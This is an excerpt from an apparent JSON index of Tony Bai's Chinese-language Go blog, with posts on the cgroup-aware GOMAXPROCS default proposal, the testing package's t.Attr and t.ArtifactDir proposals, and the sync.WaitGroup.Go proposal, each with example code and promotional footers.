Stats”图表也显示，错误配置下，进程等待CPU的时间（Waiting for CPU）出现了高达34秒的峰值，而正确配置下仅约900毫秒。\n应用性能显著下降 过度的上下文切换和频繁的CPU Throttling共同作用，导致应用端到端的性能大幅降低。博客的wrk基准测试显示，在CPU密集场景下，与正确设置GOMAXPROCS=1相比，使用默认GOMAXPROCS=32（基于节点而非Pod限制）导致的性能下降如下图所示：\n我们看到：平均请求延迟增加了65% (从 20ms 上升到 33ms)，最大请求延迟增加了82% (从255ms飙升到465ms)。整体RPS (每秒请求数) 下降了近20% (从50213减少到40356)。\nGC 放大问题 Go的并发垃圾回收器(GC)的工作量与GOMAXPROCS挂钩。GC目标是使用25%的P（对应GOMAXPROCS数量）进行后台标记工作，并在空闲的P上运行额外的 idle worker。过高的GOMAXPROCS会导致GC期间产生远超实际可用CPU资源的并发请求，极易触发或加剧CPU配额扼杀，即使在非GC期间应用本身运行平稳。极端情况下，由于内核调度，可能出现大量GC worker同时运行，短暂“冻结”用户goroutine的执行。\n运行时扩展性成本 运行更高的GOMAXPROCS会带来额外的运行时开销，例如每个P的本地缓存（如mcache）导致的内存占用增加，以及P之间进行工作窃取、GC协调等所需的同步成本。当GOMAXPROCS远大于实际可用CPU时，这些成本被白白支付，却无法带来相应的并行处理收益。\n容器中GOMAXPROCS默认设置为节点CPU数量这个问题在Go社区存在已久，相关讨论见于#33803。目前，开发者通常采用以下方式规避：\n手动设置环境变量 比如：在Kubernetes Deployment YAML中，通过valueFrom: resourceFieldRef将GOMAXPROCS环境变量显式设置为Pod的limits.cpu值，下面是一个示例：\nspec: containers: - name: my-go-app image: my-go-app:latest env: - name: GOMAXPROCS valueFrom: resourceFieldRef: # Ensure the resource name matches your limit spec resource: limits.cpu # Use divisor 1 for whole cores, or adjust if using millicores # and need integer conversion logic (though GOMAXPROCS needs integer) # Often, just referencing limits.cpu works if it\u0026#39;s a whole number. # For fractional limits resulting in non-integer GOMAXPROCS, # manual calculation or automaxprocs might be better. divisor: \u0026#34;1\u0026#34; resources: limits: cpu: \u0026#34;2\u0026#34; # Example limit requests: cpu: \u0026#34;100m\u0026#34; 使用第三方库 在Go代码中引入如uber-go/automaxprocs这样的库，它会在应用启动时自动检测Cgroup v1或v2的CPU限制，并相应地调用runtime.GOMAXPROCS()进行设置。\nimport _ \u0026#34;go.uber.org/automaxprocs\u0026#34; func main() { // automaxprocs automatically adjusts GOMAXPROCS during init // ... rest of your application } 虽然有解决方案，但这需要开发者意识到问题的存在并主动采取措施，增加了配置负担和潜在的疏漏风险。近期Go官方终于有针对此问题的动作了，我们来详细看看官方的方案。\n官方提案：让GOMAXPROCS自动适配CPU Limit 为了一劳永逸地解决这个问题，并提供更优的开箱即用体验，Go核心团队成员pratt在#73193中提出了一个具体的解决方案，旨在将Cgroup CPU limit感知能力内置到Go运行时中。下面也简单说一下Pratt给出的方案的核心机制，包括以下几点：\n自动检测CPU Limit 在程序启动时，如果用户未通过环境变量GOMAXPROCS指定值，Go运行时（仅在Linux 上）将主动检测以下三项：\n(a) 机器的总CPU核心数: 通过runtime.NumCPU()的底层机制获取。\n(b) CPU亲和性限制: 通过sched_getaffinity(2) 系统调用获取当前进程允许运行的CPU核心集合大小。\n(c) Cgroup CPU Quota限制: 运行时会查找进程所属的Cgroup层级结构（支持v1和v2，以及混合模式）。对于每一层级，它会读取cpu.cfs_quota_us 和cpu.cfs_period_us(v1) 或cpu.max(v2) 文件。计算出每一层的CPU limit（等效核心数=quota/period）。最终取整个层级路径上的最小值作为该进程的“有效CPU limit”。\n计算新的默认GOMAXPROCS 新的默认GOMAXPROCS值将是上述(a)、(b)、(c)三者计算结果中的最小值。特别地，由(c)计算出的Cgroup limit值在用于最终比较前会经过一个调整：adjusted_cgroup_limit = max(2, ceil(effective_cpu_limit))。即，先向上取整，然后确保结果至少为2。\n自动更新 为了适应CPU限制或亲和性可能在运行时发生变化的情况（例如 Kubernetes的 “in place vertical scaling” 特性允许动态调整Pod的limits.cpu），Go运行时将引入一个后台机制（可能在sysmon协程中实现），以较低频率（例如，提案建议最小周期30秒，最长1分钟）定期重新检查CPU亲和性设置和Cgroup的CPU quota文件。如果检测到变化导致计算出的默认GOMAXPROCS值改变，运行时将自动调用内部的GOMAXPROCS设置函数进行更新。\n引入新的API 该提案还引入了一个新的公共API：runtime.SetDefaultGOMAXPROCS()。调用此函数会立即触发一次上述默认值的计算和设置过程，忽略GOMAXPROCS 环境变量的影响。这可以用于覆盖启动时通过环境变量设置的值，恢复到运行时自动检测的行为。同时，在得知外部环境（如Cgroup 配置）发生变化后，主动强制进行一次更新，而不必等待后台的自动扫描。\n兼容性控制 这是一个可能改变现有程序行为的变更。为了提供平滑的过渡和控制能力，该新行为将由一个GODEBUG标志cgroupgomaxprocs=1控制。根据Go的GODEBUG兼容性策略，对于go.mod文件中指定的Go语言版本低于引入该特性的版本（预计是Go 1.25），该标志默认为0 (禁用新行为，保持现状)。只有当项目将其go.mod中的Go版本升级到1.25或更高时，默认值才会变为1 (启用新行为)。开发者仍然可以通过设置GODEBUG=cgroupgomaxprocs=0 来显式禁用新行为。\n其他设计考量与细节 经过#33803几年的讨论，Pratt在新提案中也谈及了一些设计考量和细节，这里也就一点典型的问题做一下梳理：\n为何是Limit而非Shares/Request？ Cgroup的cpu.shares(v1)或cpu.weights(v2)（对应Kubernetes的CPU Request）定义的是资源竞争时的相对优先级，而不是硬性的CPU使用上限。当系统负载不高时，仅设置了Request 的容器可能使用远超其Request值的CPU。因此，Shares/Weights不适合作为限制并行度的GOMAXPROCS的依据。Java和.NET在其运行时中进行容器资源感知的实践也得出了类似的结论，它们都选择基于CPU Quota(Limit)。\n处理分数Limit(Rounding) Cgroup Quota可以设置成分数形式（如limits.cpu:”1500m”对应1.5核）。由于GOMAXPROCS必须是整数，提案选择向上取整 (ceil)。例如，1.5会变成2。这样做的考虑是，允许应用利用Cgroup提供的突发能力，并且可能更好地向监控系统指示CPU饥饿状态。然而，这与uber-go/automaxprocs默认向下取整 (floor) 的策略不同。后者认为分数部分的配额可能是为容器内的辅助进程（如sidecar、监控agent）或C库线程预留的，向下取整更保守，避免Go进程完全用尽配额。这是一个开放的讨论点，最终实现可能会根据社区反馈调整。\n最小值为2的理由 提案建议将通过Cgroup limit计算出的值（向上取整后）与2比较，取较大者。即，即使CPU limit小于1（如0.5），最终也会至少设置为2。这样做的主要原因是GOMAXPROCS=1会完全禁用Go调度器的并行性，可能导致一些意想不到的性能问题或行为怪异，例如GC worker可能在运行时暂时“暂停”用户Goroutine（因为只有一个P可以运行，需要在用户代码和GC代码间切换）。设置至少为2可以保留基本的并行能力，更好地利用Cgroup允许的突发性。当然，如果物理核心数或CPU亲和性限制本身就是1，那么根据前面的计算规则，最终GOMAXPROCS仍然会是1。\n日志 与automaxprocs提供可选的日志输出不同，该提案的内置实现默认不打印关于GOMAXPROCS被自动调整的日志信息，以保持运行时输出的简洁性。\n小结 这项针对Go运行时的提案(#73193) 若能在Go 1.25实现，将为容器化环境中的Go应用带来实质性改进。其核心优势在于开箱即用的性能优化：通过自动将GOMAXPROCS与Cgroup CPU Limit对齐，避免了因配置不当导致的常见性能瓶颈（如高延迟、低吞吐）。这将极大简化开发者的运维工作，无需再手动设置GOMAXPROCS或依赖automaxprocs等第三方库。同时，其自动更新机制也使应用能更好地适应K8s等平台的动态资源调整。\n当然，该提案并非万能。它主要解决了设置了CPU Limit的场景。对于仅设置CPU Request（旨在利用空闲资源）的Pod，此变更目前不会带来直接改善，GOMAXPROCS仍将基于节点或亲和性设置。如何优化这类场景下的资源利用率，仍是未来值得探索的方向。\n总而言之，#73193提案是Go社区直面云原生环境中一个长期痛点的关键举措。它有望将更智能、更自动化的资源感知能力内置到运行时，显著提升Go应用在容器中的默认性能表现和易用性。我们期待该提案的最终落地，并建议开发者关注其后续进展。\n你是否也在K8s中遇到过GOMAXPROCS的困扰？欢迎在评论区分享你的经验和看法！\n参考资料 runtime: make GOMAXPROCS cfs-aware on GOOS=linux – https://github.com/golang/go/issues/33803 runtime: CPU limit-aware GOMAXPROCS default – https://github.com/golang/go/issues/73193 Golang Performance Penalty in Kubernetes – https://blog.esc.sh/golang-performance-penalty-in-kubernetes/ Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Gopher的AI原生应用开发第一课”、“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/09/gomaxprocs-defaults-add-cgroup-aware/","summary":"\u003cp\u003eGo 1.25新提案：GOMAXPROCS默认值将迎Cgroup感知能力，终结容器性能噩梦？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go 1.25新提案：GOMAXPROCS默认值将迎Cgroup感知能力，终结容器性能噩梦？"},{"content":"Go testing包将迎来新增强：标准化属性与持久化构件API即将落地 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo testing包将迎来新增强：标准化属性与持久化构件API即将落地 四月 7, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/07/go-testing-add-attr-and-artifactdir\nGo语言的testing包即将迎来两项备受期待的增强功能：标准化的测试属性（Test Attributes）和测试构件（Test Artifacts）管理。这两项提案（#43936 和#71287）均已获得Go团队的批准或高度认可，旨在显著提升Go测试的可观测性、调试效率以及与外部工具链（如CI/CD系统、测试管理平台）的集成能力。本文将深入解读这两项提案的设计理念、核心API、应用场景及其对Go开发者的潜在影响。\nGo测试过程中的“痛点” 长期以来，Go开发者在处理测试过程中的元数据和输出文件时，常常面临一些挑战，不得不依赖非标准的约定或变通方法，这直接影响了测试效率和工具集成的流畅性。\n1.1 痛点一：脆弱且混乱的测试元数据传递 现代开发流程中，我们常常需要将测试与外部系统关联起来。例如，将自动化测试结果上报给TestRail或Allure这样的测试管理平台，或者在CI/CD报告中直接链接到相关的Jira问题、代码提交或详细日志。\n在t.Attr提案（#43936）出现之前，开发者通常只能通过t.Log或t.Logf输出特定格式的字符串来实现这一目标，例如类似以下的日志行：\n// 示例：试图通过日志传递元数据 TESTRAIL_CASE_ID: C12345 JIRA_ISSUE: PROJ-789 这种方法的弊端显而易见：\n极其脆弱: 任何对日志格式、前缀或分隔符的微小改动，都可能导致依赖这些日志的外部解析工具（如CI脚本、报告生成器）失效。 缺乏标准: 每个项目或团队可能会发明自己的格式，导致工具难以复用和维护。 信息混杂: 重要的元数据与普通的测试日志信息混合在一起，增加了提取难度和误判的可能性。 工具集成困难: 像go test -json这样的官方工具，其输出的Action: output 事件并不区分普通日志和这种“伪装”的元数据，下游消费者需要进行额外的、不可靠的字符串解析。 总之，这种方式给需要自动化处理测试结果的场景带来了持续的维护负担和不确定性。\n当然痛点不限于此，我们再来看一个。\n1.2 痛点二：转瞬即逝的测试构件，调试与归档的障碍 Go testing包提供了t.TempDir函数，用于创建测试期间使用的临时目录和文件，这在隔离测试状态方面非常有用。然而，t.TempDir的核心特性——在测试（无论成功或失败）结束后自动清理其内容——在某些场景下反而成了阻碍。想象以下常见情况：\n调试失败 一个复杂的集成测试失败了。测试过程中可能生成了详细的调试日志、服务间通信的网络抓包、或者是对比失败的实际输出文件。当你想检查这些文件以定位问题时，却发现它们随着测试的结束一同消失了。开发者不得不采取临时措施，比如注释掉t.Cleanup调用，或者在测试失败路径上手动复制文件到其他位置，过程繁琐且容易遗漏。\nCI结果归档 在CI/CD流水线中，我们通常希望在测试失败时自动收集相关的诊断信息（如core dump、截图、性能剖析文件等）作为“构件(artifact)”进行归档，以便后续分析。虽然Go提供了-cpuprofile, -memprofile等标志并将结果放入-outputdir指定的目录，但对于测试代码自身产生的其他类型构件，缺乏一个统一且可靠的机制来指示它们需要被保留。\n为了解决上述这些长期存在的痛点，Go社区积极讨论并推进了t.Attr和t.ArtifactDir这两项关键提案，旨在通过标准化的API为go testing包带来现代化的测试信息管理能力。\n下面我们就来正式看看这两个提案究竟给我们带来了哪些测试过程中的便利。先来看看t.Attr提案。\nt.Attr：为测试附加结构化元数据(#43936) 状态：已接受 (Accepted)\n提案#43936旨在提供一种标准化的方式，将结构化的键值对元数据与特定的测试（或子测试）关联起来，并使其在go test -json的输出中易于访问。\n2.1 核心API 该提案在testing.TB接口中增加了Attr方法，其定义如下：\npackage testing type TB interface { // ... 其他方法 // Attr 发出与此测试关联的测试属性。 // // key不能包含空白字符。 // 不同属性键的含义由持续集成系统和测试框架决定。 // // 测试属性会立即在测试日志中发出，但应被视为无序的。 Attr(key, value string) } 开发者可以在测试代码中调用t.Attr(“myKey”, “myValue”)来记录元数据。经过社区的深入讨论，API最终确定为接受string类型的键和值。这主要是字符串简洁，易于理解和使用；与现有的主流测试管理系统（如 JUnit XML、Google 内部的 Sponge 系统）对属性/特性的定义（通常是string-string）保持一致。同时，还避免testing包引入对encoding/json的依赖。如果需要传递复杂结构，开发者可以自行将值JSON编码为字符串。\n2.2 输出格式 t.Attr的调用会在标准测试日志中产生如下格式的输出：\n=== ATTR TestName \u0026lt;key\u0026gt; \u0026lt;value\u0026gt; 当使用go test -json运行时，test2json工具会将其转换为结构化的JSON事件：\n{\u0026#34;Time\u0026#34;: \u0026#34;...\u0026#34;, \u0026#34;Action\u0026#34;: \u0026#34;attr\u0026#34;, \u0026#34;Package\u0026#34;: \u0026#34;package/path\u0026#34;, \u0026#34;Test\u0026#34;: \u0026#34;TestName\u0026#34;, \u0026#34;Key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;Value\u0026#34;: \u0026#34;value\u0026#34;} go testing包增加了Attr后，在测试管理中，集成Go测试与系统如TestRail和Allure变得更加轻松，通过t.Attr可传递测试用例ID、特性标签和故事标签等信息。此外，测试输出中可以嵌入指向外部资源的链接，如日志系统、问题跟踪器（如Jira）、构建产物和文档。这种方式增强了CI/CD流程，使CI系统能够解析这些属性，以便于测试结果的分类、过滤和报告生成，或触发特定工作流，例如通过t.Attr(“environment”, “staging”)标记测试运行环境或关联代码提交哈希。最终，这种标准化的方法告别了脆弱的日志解析，提供了一种可靠的方式来提取测试元数据，取代了过去依赖特定日志前缀或格式的做法。\n接下来，我们再来看看另外一个增强项：t.ArtifactDir。\nt.ArtifactDir：持久化测试构件(#71287) 状态：很可能接受(Likely Accept)\n提案#71287针对的是测试过程中产生的、可能需要后续检查的文件（即“测试构件(Artifact)”），它提供了一种机制，让开发者可以选择性地保留这些文件，而不是让它们被t.TempDir这种“阅后即焚”的特性自动删除。\n3.1 核心API与标志 该提案在testing.TB接口中增加了ArtifactDir方法，其定义如下：\npackage testing type TB interface { // ... 其他方法 // ArtifactDir 返回一个目录供测试存储输出文件。 // 当提供了 -artifacts 标志时，此目录将位于输出目录下。 // 否则，ArtifactDir 返回一个临时目录，该目录在测试完成后被移除。 // // 每个测试或子测试（在每个测试包内）都有一个唯一的构件目录。 // 在同一测试或子测试中重复调用 ArtifactDir 返回相同的目录。 // 子测试的输出不位于父测试的输出目录下。 ArtifactDir() string } 与此API配套的是一个新的go test命令行标志：-artifacts。它的行为特点如下：\n默认行为 (未指定-artifacts) 在这种情况下，t.ArtifactDir()的行为类似于t.TempDir()，返回一个临时目录，测试结束后其内容会被清理。这确保了测试行为的一致性，无论是否需要持久化构件。\n启用持久化 (指定-artifacts) t.ArtifactDir()将返回一个位于-outputdir（默认为当前工作目录）下的特定目录，该目录及其内容在测试结束后不会被删除。\n3.2 目录结构与输出 为了确保唯一性，尤其是在运行多个包（例如使用“./…”）或使用-count=N时，构件目录的路径结构经过了仔细考虑。最终采用的结构类似：\n\u0026lt;outputdir\u0026gt;/\u0026lt;package_path\u0026gt;/\u0026lt;test_name\u0026gt;/\u0026lt;random_or_counter\u0026gt; 具体的路径转换和命名规则会进行必要的处理（如路径安全化、截断长名称等），但核心目标是提供一个可预测且唯一的存储位置。\n当启用构件存储且测试首次调用ArtifactDir() 时，会输出类似信息：\n=== ARTIFACTS TestName/subtest_name /path/to/actual/artifact/dir 在go test -json模式下，对应事件为：\n{\u0026#34;Time\u0026#34;:\u0026#34;...\u0026#34;, \u0026#34;Action\u0026#34;:\u0026#34;artifacts\u0026#34;, \u0026#34;Package\u0026#34;:\u0026#34;package/path\u0026#34;, \u0026#34;Test\u0026#34;:\u0026#34;TestName/subtest_name\u0026#34;, \u0026#34;Path\u0026#34;:\u0026#34;/path/to/actual/artifact/dir\u0026#34;} 其中Path字段包含了实际的构件目录路径。\n综上，有了t.ArtifactDir()后，在调试失败的测试时，用户可以轻松检查测试生成的实际输出文件、对比文件、日志、核心 dump、网络抓包和性能剖析数据，而无需修改测试代码以阻止临时目录清理。此外，CI系统可以通过设置-artifacts和-outputdir标志，自动收集所有测试产生的构件，并将其存档或用于后续分析。在测试代码生成时，生成的代码可以输出到t.ArtifactDir()返回的目录，方便在验证失败时与预期的黄金文件进行对比。这种方法提供了一种官方推荐的方式来处理测试产物，减少了各个项目自行实现此类机制的需求。\n协同效应：属性与构件的强强联合 t.Attr和t.ArtifactDir这两个提案并非孤立存在，它们可以协同工作，提供更强大的测试信息管理能力。\n最典型的场景是：使用t.ArtifactDir管理构件文件的存储，并使用t.Attr记录指向这些构件的元数据。\n例如，一个测试可能会：\n调用dir := t.ArtifactDir()获取构件目录。 在该目录中生成一个重要的日志文件，假设名为trace.log。 调用t.Attr(“trace_log_path”, filepath.Join(dir, “trace.log”))来记录这个日志文件的确切路径。 或者，如果CI系统会将构件上传到对象存储，测试可以记录其访问URL：t.Attr(“trace_log_url”, “s3://bucket/…”)。 这样，外部工具不仅知道测试产生了构件（通过Action: artifacts事件），还能通过解析Action: attr事件找到访问或描述这些构件的具体信息，实现了端到端的关联。\n小结 t.Attr和t.ArtifactDir的引入，标志着Go标准测试库在满足现代软件开发流程需求方面迈出了重要一步。它们通过提供标准化的API和工具链支持，极大地增强了测试的透明度、可调试性以及与自动化系统的集成深度。\n随着这两个提案的落地（预计在未来的Go版本中），我们期待看到Go社区能够更轻松地构建健壮、可观测的测试体系，并与各种先进的开发运维工具无缝集成。这无疑将进一步巩固Go在构建可靠、高效软件系统方面的优势。开发者应密切关注这些新特性，并考虑如何在自己的项目中利用它们来改进测试实践。\n参考资料 testing: structured output for test attributes – https://github.com/golang/go/issues/43936 proposal: testing: store test artifacts – https://github.com/golang/go/issues/71287 Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Gopher的AI原生应用开发第一课”、“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/07/go-testing-add-attr-and-artifactdir/","summary":"\u003cp\u003eGo testing包将迎来新增强：标准化属性与持久化构件API即将落地 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go testing包将迎来新增强：标准化属性与持久化构件API即将落地"},{"content":"WaitGroup.Go要来了？Go官方提案或让你告别Add和Done样板代码 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nWaitGroup.Go要来了？Go官方提案或让你告别Add和Done样板代码 四月 3, 2025 1 条评论 本文永久链接 – https://tonybai.com/2025/04/03/waitgroup-go-proposal\nsync.WaitGroup是Go语言中处理并发任务同步最常用的原语之一。然而，其经典的Add(1)、go func() { defer wg.Done() … }()、Wait()模式虽然强大，却也因其固定写法和潜在的陷阱（如忘记Done或将Add误置于goroutine内部）而让开发者时常感到繁琐，对新手尤其不友好。近日，一项旨在简化这一模式的提案#63796在Go社区引发了广泛关注，并已被标记为**Likely Accept**，预示着sync.WaitGroup可能很快将迎来一个实用的新方法：Go。这也意味着Go开发者可以告别Add、defer Done的样板代码，并避免它们的“陷阱”可能导致的难以捕捉的代码错误。在这篇文章中，我就来简单介绍一下WaitGroup.Go这个提案。\n现有模式的痛点与WaitGroup.Go的提出 当前使用WaitGroup的标准模式通常如下所示：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) func work(id int) { fmt.Printf(\u0026#34;Worker %d starting\\n\u0026#34;, id) time.Sleep(time.Second) fmt.Printf(\u0026#34;Worker %d done\\n\u0026#34;, id) } func main() { var wg sync.WaitGroup for i := 1; i \u0026lt;= 5; i++ { // 注意：在 Go 1.22 之前，需要 i := i 来避免闭包捕获问题 // i := i wg.Add(1) // 必须在启动 goroutine 前调用 Add go func(id int) { defer wg.Done() // 必须在 goroutine 退出前调用 Done work(id) }(i) } wg.Wait() // 等待所有 goroutine 完成 fmt.Println(\u0026#34;All workers done\u0026#34;) } 这种样板使用模式存在几个容器出错的关键点：\nwg.Add(1) 的位置: 必须在启动goroutine之前调用。如果将其放在goroutine内部，可能会导致Wait在Add执行前就返回，引发panic或竞态条件。这是最常见的错误之一。 defer wg.Done(): 必须确保在goroutine逻辑结束时调用Done，否则Wait将永久阻塞。defer是推荐做法，但也可能被遗漏。 闭包变量捕获 (Go \u0026lt; 1.22): 在Go 1.22之前的版本中，循环变量直接在goroutine的闭包中使用会导致所有goroutine共享同一个变量值，需要i := i 这样的技巧来创建副本。 为了解决这些问题，提案#63796 建议为sync.WaitGroup添加一个Go方法：\n// Go calls f on a new goroutine and adds that task to the WaitGroup. // When f returns, the task is removed from the WaitGroup. // ... (其他文档细节省略) func (wg *WaitGroup) Go(f func()) { wg.Add(1) go func() { defer wg.Done() f() }() } 这个方法简洁地封装了Add(1)、启动goroutine和defer Done()的逻辑。使用Go方法后，之前的例子可以大幅简化为下面代码：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) func work(id int) { fmt.Printf(\u0026#34;Worker %d starting\\n\u0026#34;, id) time.Sleep(time.Second) fmt.Printf(\u0026#34;Worker %d done\\n\u0026#34;, id) } func main() { var wg sync.WaitGroup // 假设WaitGroup已包含Go方法 for i := 1; i \u0026lt;= 5; i++ { // Go 1.22+版本无需i := i wg.Go(func() { work(i) }) } wg.Wait() fmt.Println(\u0026#34;All workers done\u0026#34;) } 我们可以看到，代码不仅行数减少，而且显著降低了出错的可能性，尤其是避免了Add位置错误这一高频陷阱。\n时机成熟：为何现在是引入WaitGroup.Go的好时机？ 该提案并非首次提出（相关讨论可追溯至#18022和#39863），但之前的提案因各种原因未能被接受。此次能够获得”Likely Accept”的状态，可能主要得益于以下几个因素：\nGo 1.22循环变量语义变化 Go 1.22正式“修正”了for循环的变量语义，使得每次迭代都会创建新的循环变量实例。这极大地降低了在wg.Go的闭包函数中直接使用循环变量的风险，使得func()形式的API更加安全和自然。正如dsnet在评论中指出的，虽然闭包仍可能引入其他变量修改的风险，但相比wg.Add位置错误，这种风险出现的频率要低得多。\n社区实践的验证 许多流行的第三方库（如tailscale.com/syncs和sourcegraph/conc）以及golang.org/x/sync/errgroup都已经实现了类似的Go方法，证明了其在实际开发中的价值和受欢迎程度。这为标准库采纳该模式提供了有力佐证。\n错误预防的迫切性 尽管社区曾讨论过通过vet工具检查wg.Add误用（#18022），但此前相关检查迟迟未能落地（直到最近才由adonovan等人推动并合并了相关分析器）。直接在API层面提供更安全的替代方案，被认为是更有效的解决途径。GitHub代码搜索也显示，虽然正确用法占绝大多数，但错误用法（go之后才Add）数量仍然不可忽视（上千例）。\n社区讨论焦点 在提案的讨论过程中，社区成员也提出了一些值得思考的问题，这里也找出一些典型的问题供大家玩味：\n是否需要新类型？ 有人建议创建一个新的类型（如sync.Tasks），以避免WaitGroup同时存在Add/Done和Go两种模式可能带来的混淆。但主流观点认为，将Go方法添加到现有WaitGroup可以方便现有代码的原地升级（gopls甚至已为此添加了自动化重构支持），并且混合使用的风险较低（错误使用Done会快速panic，多余的Add也会导致Wait阻塞，易于发现）。\n与errgroup的关系 errgroup.Group也有Go方法，但它还处理了错误传播和context取消。WaitGroup.Go则更纯粹地关注任务同步，两者定位不同，可以共存。将errgroup引入标准库是另一个独立的提案（#57534）。\n方法命名 曾有提议使用Start或Run，但Go这个命名与errgroup中的Go保持一致，且能清晰表达“启动新goroutine”的含义，最终获得了更多支持。\n文档重塑 Go当前的技术负责人aclements建议将WaitGroup的文档从“计数器”视角转向“任务集合”视角，并将Go作为首选方法进行介绍。对此adonovan提醒WaitGroup本质仍是计数信号量，文档更新需谨慎平衡。\n小结 sync.WaitGroup.Go提案的”Likely Accept”状态对于Go开发者来说是一个积极的信号。这个看似简单的补充，有望显著提升Go并发编程的体验，减少Add和Done的样板代码，规避常见错误。它体现了Go团队在保持核心库简洁性的同时，也愿意吸收社区成熟实践、优化开发者体验的务实态度。我们期待在未来的Go版本中看到这一实用特性的正式发布，届时，编写健壮、简洁的并发代码将变得更加容易。\n参考资料 proposal: sync: add WaitGroup.Go – https://github.com/golang/go/issues/63796 errgroup doc – https://pkg.go.dev/golang.org/x/sync/errgroup Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Gopher的AI原生应用开发第一课”、“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/03/waitgroup-go-proposal/","summary":"\u003cp\u003eWaitGroup.Go要来了？Go官方提案或让你告别Add和Done样板代码 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"WaitGroup.Go要来了？Go官方提案或让你告别Add和Done样板代码"},{"content":"Go安全版图再添利器：OpenPubkey 